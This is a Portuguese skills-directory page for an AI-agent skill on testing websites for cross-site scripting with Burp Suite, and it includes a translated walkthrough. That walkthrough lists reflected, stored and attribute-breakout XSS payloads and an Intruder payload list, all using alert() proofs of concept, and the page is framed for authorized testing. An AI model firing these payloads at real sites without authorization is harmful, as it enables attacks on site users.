Pular para o conteúdo
Skillpedia
Segurança35 mil · #6228

testing-for-xss-vulnerabilities-with-burpsuite

Faz seu agente encontrar e confirmar falhas de XSS em sites. Ele usa ferramentas específicas para verificar se código malicioso pode ser executado no navegador de um usuário. Importante para a segurança de sites.

O que ela faz

Esta ferramenta ajuda a encontrar falhas de segurança chamadas XSS (Cross-Site Scripting) em sites. Ela usa um programa chamado Burp Suite para testar como o site lida com informações enviadas pelos usuários.

Quando usar

  • ✓Ao testar a segurança de um site com permissão.
  • ✓Para confirmar se uma falha encontrada por outra ferramenta é real.
  • ✓Ao verificar se as proteções do site contra XSS estão funcionando.

Exemplo do que pedir para a IA

“Verifique se há falhas de XSS no site exemplo.com”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/testing-for-xss-vulnerabilities-with-burpsuite/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/testing-for-xss-vulnerabilities-with-burpsuite/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

O Burp Suite é configurado para monitorar o tráfego do site. Em seguida, ele envia dados de teste para diferentes partes do site e analisa as respostas para ver se códigos maliciosos são executados.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-for-xss-vulnerabilities-with-burpsuite

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/testing-for-xss-vulnerabilities-with-burpsuite/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Testando Vulnerabilidades XSS com Burp Suite

Quando Usar

  • Durante testes de penetração autorizados em aplicações web para encontrar XSS refletido, armazenado e baseado em DOM.
  • Ao validar descobertas de XSS reportadas por scanners automatizados de vulnerabilidades.
  • Para testar a eficácia da Política de Segurança de Conteúdo (CSP) e filtros XSS.
  • Ao avaliar a segurança do lado do cliente de aplicações de página única (SPAs).
  • Durante programas de bug bounty focados em vulnerabilidades XSS.

Pré-requisitos

  • Autorização: Escopo escrito e regras de engajamento para a aplicação alvo.
  • Burp Suite Professional: Versão licenciada com capacidades de scanner ativas.
  • Navegador: Firefox ou Chromium com o certificado CA do Burp instalado.
  • FoxyProxy: Extensão de navegador configurada para rotear o tráfego através do proxy do Burp (127.0.0.1:8080).
  • Aplicação alvo: Acesso autenticado com credenciais de teste válidas.
  • Lista de payloads XSS: Wordlist customizada ou conjunto de payloads XSS integrado do Burp.

Fluxo de Trabalho

Passo 1: Configurar o Burp Suite e Mapear a Aplicação

Configure o proxy e rastreie a aplicação para descobrir todos os vetores de entrada.

# Burp Suite Configuration
1. Proxy > Options > Proxy Listeners: 127.0.0.1:8080
2. Target > Scope: Add target domain (e.g., *.target.example.com)
3. Dashboard > New Scan > Crawl only > Select target URL
4. Enable "Passive scanning" in Dashboard settings

# Browser Setup
- Install Burp CA: http://burpsuite → CA Certificate
- Import certificate into browser trust store
- Configure proxy: 127.0.0.1:8080
- Browse the application manually to build the site map

Passo 2: Identificar Pontos de Reflexão com o Burp Repeater

Envie requisições para o Repeater e injete strings de "canário" únicas para encontrar onde a entrada do usuário é refletida.

# In Burp Repeater, inject a unique canary string into each parameter:
GET /search?q=xsscanary12345 HTTP/1.1
Host: target.example.com

# Check the response for reflections of the canary:
# Search response body for "xsscanary12345"
# Note the context: HTML body, attribute, JavaScript, URL, etc.

# Test multiple injection contexts:
# HTML body: <p>Results for: xsscanary12345</p>
# Attribute: <input value="xsscanary12345">
# JavaScript: var search = "xsscanary12345";
# URL context: <a href="/page?q=xsscanary12345">

# Test with HTML special characters to check encoding:
GET /search?q=xss<>"'&/ HTTP/1.1
Host: target.example.com
# Check which characters are reflected unencoded

Passo 3: Testar XSS Refletido com Payloads Específicos ao Contexto

Com base no contexto de reflexão, crie payloads XSS direcionados.

# HTML Body Context - Basic payload
GET /search?q=<script>alert(document.domain)</script> HTTP/1.1
Host: target.example.com

# HTML Attribute Context - Break out of attribute
GET /search?q=" onfocus=alert(document.domain) autofocus=" HTTP/1.1
Host: target.example.com

# JavaScript String Context - Break out of string
GET /search?q=';alert(document.domain)// HTTP/1.1
Host: target.example.com

# Event Handler Context - Use alternative events
GET /search?q=<img src=x onerror=alert(document.domain)> HTTP/1.1
Host: target.example.com

# SVG Context
GET /search?q=<svg onload=alert(document.domain)> HTTP/1.1
Host: target.example.com

# If angle brackets are filtered, try encoding:
GET /search?q=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: target.example.com

Passo 4: Testar XSS Armazenado via Burp Intruder

Use o Burp Intruder para testar XSS armazenado em campos de entrada como comentários, perfis e mensagens.

# Burp Intruder Configuration:
# 1. Right-click request > Send to Intruder
# 2. Positions tab: Mark the injectable parameter
# 3. Payloads tab: Load XSS payload list

# Example payload list for Intruder:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<details open ontoggle=alert(1)>
<math><mtext><table><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert(1) src=1>">
"><img src=x onerror=alert(1)>
'-alert(1)-'
\'-alert(1)//

# In Intruder > Options > Grep - Match:
# Add patterns: "alert(1)", "onerror=", "<script>"
# This flags responses where payloads are reflected/stored

Passo 5: Testar XSS Baseado em DOM

Identifique JavaScript do lado do cliente que processa a entrada do usuário de forma insegura usando o DOM Invader do Burp.

# Habilite o DOM Invader no navegador embutido do Burp:
# 1. Abra o navegador Chromium embutido do Burp
# 2. Clique no ícone da extensão DOM Invader > Habilitar

…
Perguntas frequentes

O que é XSS?

XSS é um tipo de ataque onde um invasor injeta código malicioso (geralmente JavaScript) em um site. Se o site não for seguro, esse código pode ser executado no navegador de outros usuários, roubando informações ou realizando ações em nome deles.

O que é Burp Suite?

Burp Suite é um conjunto de ferramentas usado por profissionais de segurança para testar a segurança de aplicações web. Ele permite interceptar, inspecionar e modificar o tráfego entre o navegador e o servidor.

Preciso de permissão para usar esta ferramenta?

Sim, é crucial ter autorização explícita por escrito antes de realizar qualquer teste de segurança em um site. Testar sem permissão é ilegal.

Detalhes

Descrição original do autor

Identifying and validating cross-site scripting vulnerabilities using Burp Suite's scanner, intruder, and repeater tools during authorized security assessments.

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#6228
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas